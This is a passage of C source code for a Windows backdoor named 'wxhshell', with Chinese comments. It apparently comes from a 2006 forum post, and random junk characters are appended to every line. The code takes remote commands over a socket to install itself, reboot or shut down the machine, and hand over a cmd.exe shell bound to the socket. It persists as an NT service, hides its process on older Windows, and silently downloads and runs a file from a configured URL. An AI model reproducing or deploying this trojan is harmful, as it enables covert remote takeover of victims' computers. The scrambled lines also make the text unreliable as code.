    switch(cmd[0]) { a~=$9+?w  
  -:&qNY:Vp  
  // 帮助 q<dZy? f  
  case '?': { X0O@,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); CNQ>J`4  
    break; BNL Q]  
  } a!vF;J-Zqa  
  // 安装 6x7pqH M  
  case 'i': { F<VoPqHq  
    if(Install()) r$<[`L+6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hKj"Lb9 ]  
    else  `C9/=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PQDW Y  
    break; 0 fX  
    } LNOm"D?"  
  // 卸载 $n.oY5=\  
  case 'r': { |]y]K%  
    if(Uninstall()) 6SJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )OpB\k  
    else $9)|cO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W{B)c?G]  
    break; &==X.2XW  
    } :+: vBrJm  
  // 显示 wxhshell 所在路径 d2Pqi* K  
  case 'p': { R9%Um6  
    char svExeFile[MAX_PATH]; b ;A(6^V  
    strcpy(svExeFile,"\n\r"); . Lbu[  
      strcat(svExeFile,ExeFile); 7#wdBB%  
        send(wsh,svExeFile,strlen(svExeFile),0); ZUPlMHc  
    break; uY{V^c#mv  
    } U51C /A  
  // 重启 /i.3v45t"  
  case 'b': { 8&+m5x S  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); x=s=~cu4,  
    if(Boot(REBOOT)) OFH!z{*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pu3ly&T#a_  
    else { tn>z%6;&Z  
    closesocket(wsh); f}qR'ognUu  
    ExitThread(0); {kVhht]X  
    } jg%HaA<zO  
    break; >..C^8 "  
    } 6d4)7PL  
  // 关机 jG~zpZh  
  case 'd': { C^2J<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *PEk+e  
    if(Boot(SHUTDOWN)) vG;)(.:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]N<:6+  
    else { cVk&Yp;[*  
    closesocket(wsh);  # ub!  
    ExitThread(0); >AFX}N#  
    } wd 86 y  
    break; g<d#zzP"T  
    } ]m&cVy&  
  // 获取shell 1FC' iGI  
  case 's': { uv>T8(w  
    CmdShell(wsh); fZ8at  
    closesocket(wsh); ^6c=[N$aW  
    ExitThread(0); V) Oj6nD]  
    break; GBMCw  
  } `*Ar6  
  // 退出 WJ D1U?`  
  case 'x': { @-9u;aL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); mV\QZfoF  
    CloseIt(wsh); =gG_ %]``R  
    break; c^Y&4=>T  
    } g3*" ^C2=  
  // 离开 %#g9d  
  case 'q': { E}&Z=+v}  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T8*<  
    closesocket(wsh); o'uv5asdb  
    WSACleanup(); k#*tf:R  
    exit(1); =6o,{taZ.~  
    break; 02|f@bP.  
        } ? dD<KCbP,  
  } ~k}>CNTr  
  } qQz f&"  
<0?h$hf4c  
  // 提示信息 ~i3/Ec0\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MGoYL \  
} 1#o>< ?  
  } $]H^?  
l,(Mm,3  
  return; #:C?:RMS  
} kZ^}  
\Pv_5LAo  
// shell模块句柄 e7fA-,DV  
int CmdShell(SOCKET sock) C9?R*2L>  
{ o'9K8q\1  
STARTUPINFO si; Q2 tM~  
ZeroMemory(&si,sizeof(si)); ^g[,}t:/d  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Uwd^%x*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3F/05}d`  
PROCESS_INFORMATION ProcessInfo; }digw(  
char cmdline[]="cmd"; m@qM|%(0x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); A>SXc%K  
  return 0; o\Ocu>:  
} lP9XqQ(  
A(!nT=0o  
// 自身启动模式 3M/iuu  
int StartFromService(void) -]!m4xvK  
{ ]{` 8C  
typedef struct Yn0l}=, n  
{ bC[TLsh7{2  
  DWORD ExitStatus; X<6Ro es2  
  DWORD PebBaseAddress; Y+ZQN>  
  DWORD AffinityMask; LdSBNg#3  
  DWORD BasePriority; %TO=]>q  
  ULONG UniqueProcessId; :j sa.X  
  ULONG InheritedFromUniqueProcessId; %]~XbO  
}   PROCESS_BASIC_INFORMATION; ,d^ze=  
Cd>GY  
PROCNTQSIP NtQueryInformationProcess; i{['18Q$F3  
. kv/db  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D/T& 0  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; X)-9u8  
dMcCSwYh  
  HANDLE             hProcess; }Pu|%\  
  PROCESS_BASIC_INFORMATION pbi; *6Ojv- G|5  
BE&P/~(C  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); |2!!>1k  
  if(NULL == hInst ) return 0; aY/msplC  
D][e uB  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5kX#qT=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x2P}8Idg?A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'Gn-8r+  
Rnl 4  
  if (!NtQueryInformationProcess) return 0; pt"yJtM'P  
6]GEn=t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WYHr'xJ  
  if(!hProcess) return 0; lq4vX^S  
9t`Z_HwdCb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; M?61g(  
sd (I@ &y  
  CloseHandle(hProcess);  QuJ~h}k  
$_2S,3 }  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /F>\-    
if(hProcess==NULL) return 0; 1 \#n{a3  
)gO=5_^u*o  
HMODULE hMod; Z*/*P4\  
char procName[255]; 9u3~s <  
unsigned long cbNeeded; r_sZw@lqJ  
c1v,5c6d j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Dv7/eRt  
gq$]jWtCD  
  CloseHandle(hProcess); c|f)k:Q  
8,E#vQ55}(  
if(strstr(procName,"services")) return 1; // 以服务启动 R~z@voM*<  
1wx&/ #a  
  return 0; // 注册表启动 TEgmE9^`)7  
} ?[[K6v}q{  
@J[l^o9  
// 主模块 6bL"ZOEu  
int StartWxhshell(LPSTR lpCmdLine) Y0kDHG  
{ /ae]v+  
  SOCKET wsl; W]8tp@  
BOOL val=TRUE; VrV* -J'  
  int port=0; QK+s}ny  
  struct sockaddr_in door; <K8$00lm  
PI"&-lXI-m  
  if(wscfg.ws_autoins) Install(); Z19d Ted33  
}m?1IU %q  
port=atoi(lpCmdLine); hFC4CqBV  
zTFfft<  
if(port<=0) port=wscfg.ws_port; 8[\(*E}d!X  
a'/yN{?p  
  WSADATA data; !Ua74C  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ~=t, g S  
G$ l>By  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   %cM2;a=2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); # ;,b4O7@  
  door.sin_family = AF_INET; (t.pM P4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #y~`nyg%|  
  door.sin_port = htons(port); "s']@Qv  
st;.Po[h  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %4Nq T  
closesocket(wsl); !_+LmBd G  
return 1; #S[:Q.0 ;  
} I,{9vew  
NT~L=x sY  
  if(listen(wsl,2) == INVALID_SOCKET) { F,^<  
closesocket(wsl); t I9$m[  
return 1; 9v(&3,)a  
} %eoO3"//  
  Wxhshell(wsl); opz.kP[e,  
  WSACleanup(); %m'd~#pze  
]Y|Y?  
return 0; A9lnQCsJ  
{nH.  _  
} u7!X#<  
~+VIELU<%  
// 以NT服务方式启动 dZ UB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W,zlR5+Jk  
{ saOXbt(&  
DWORD   status = 0; $'}:nwq6x  
  DWORD   specificError = 0xfffffff; $CaF"5}?Ke  
W M/pP?||  
  serviceStatus.dwServiceType     = SERVICE_WIN32; `0+zF-  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; zosJ=$L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6:i(<7  
  serviceStatus.dwWin32ExitCode     = 0; 6Lw34R  
  serviceStatus.dwServiceSpecificExitCode = 0; 7Rr(YoWa  
  serviceStatus.dwCheckPoint       = 0; 9N>Dp N  
  serviceStatus.dwWaitHint       = 0; o.5w>l!9K  
;o;P2}zD  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4#mRLs'  
  if (hServiceStatusHandle==0) return; .bbl-a/ 3  
wU_e/+0h  
status = GetLastError(); ugg08am!  
  if (status!=NO_ERROR) dBY,&=T4p  
{ uX@RdkC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; }E$^!q{  
    serviceStatus.dwCheckPoint       = 0; VsOn j~@  
    serviceStatus.dwWaitHint       = 0; :)+|q  
    serviceStatus.dwWin32ExitCode     = status; e:IUO1#  
    serviceStatus.dwServiceSpecificExitCode = specificError; fZ6lnZ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )*N]Q  
    return; [3++Q-rR=  
  } #SQao;>  
=LHE_ AA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 8>G3KZ3  
  serviceStatus.dwCheckPoint       = 0; |yiM7U,i  
  serviceStatus.dwWaitHint       = 0; EBS04]5ul  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,Z*?"d  
} <5MnF  
&eq>>  
// 处理NT服务事件,比如:启动、停止 AE1!u{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FbQ"ZTN\;Y  
{ P?*$Wf,~n  
switch(fdwControl) gq`gitu0  
{ +_uT1PsBY  
case SERVICE_CONTROL_STOP: !+& "y K@J  
  serviceStatus.dwWin32ExitCode = 0; uWR\#D'  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zN JK+_O=  
  serviceStatus.dwCheckPoint   = 0; {:c*-+?  
  serviceStatus.dwWaitHint     = 0; $x]'6  
  { ~}|)@,N'bm  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YC4S,fY`  
  } 6=2M[T  
  return; 7{j9vl6  
case SERVICE_CONTROL_PAUSE: 2SEfEkk  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Pq`]^^=be'  
  break; 9vT@ mqKu  
case SERVICE_CONTROL_CONTINUE: aoQK.7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Iz^~=yV)  
  break; >5)E\4r-  
case SERVICE_CONTROL_INTERROGATE: |Vc8W0~0  
  break; s%"3F<\  
}; UOH2I+@V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); cP63q|[[  
} \;&9h1?Mn  
&!#,p{}ccU  
// 标准应用程序主函数 TTpK8cC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) fk,[`n+  
{ FR _R"p  
l)GV&V  
// 获取操作系统版本 x3O$eKy\|5  
OsIsNt=GetOsVer(); ZWaHG_ U)  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q+gd|^Vc9  
W4Nbl  
  // 从命令行安装 61>@-55k9  
  if(strpbrk(lpCmdLine,"iI")) Install(); Ej>5PXp'2  
g76l@QYIU  
  // 下载执行文件 v|`f8M2  
if(wscfg.ws_downexe) { jSp4eq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5$0@f`sj  
  WinExec(wscfg.ws_filenam,SW_HIDE); :%Na-j9hV)  
} L,V\g^4$K  
|H 0+.f;  
if(!OsIsNt) { hu.c&Q>  
// 如果时win9x,隐藏进程并且设置为注册表启动 wmdvAMN  
HideProc(); 5hak'#2  
StartWxhshell(lpCmdLine); +xMK.*H]W  
} 6f/>o$  
else Q9=vgOW+  
  if(StartFromService()) >Du5B&41  
  // 以服务方式启动 T :IKyb  
  StartServiceCtrlDispatcher(DispatchTable); _P.+[RS@  
else JaP2Q} &B  
  // 普通方式启动 WgPpW!`  
  StartWxhshell(lpCmdLine); FI{9k(  
K0_/;a] |  
return 0; 6O8'T`F[  
}
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只看该作者 1 发表于: 2006-10-10
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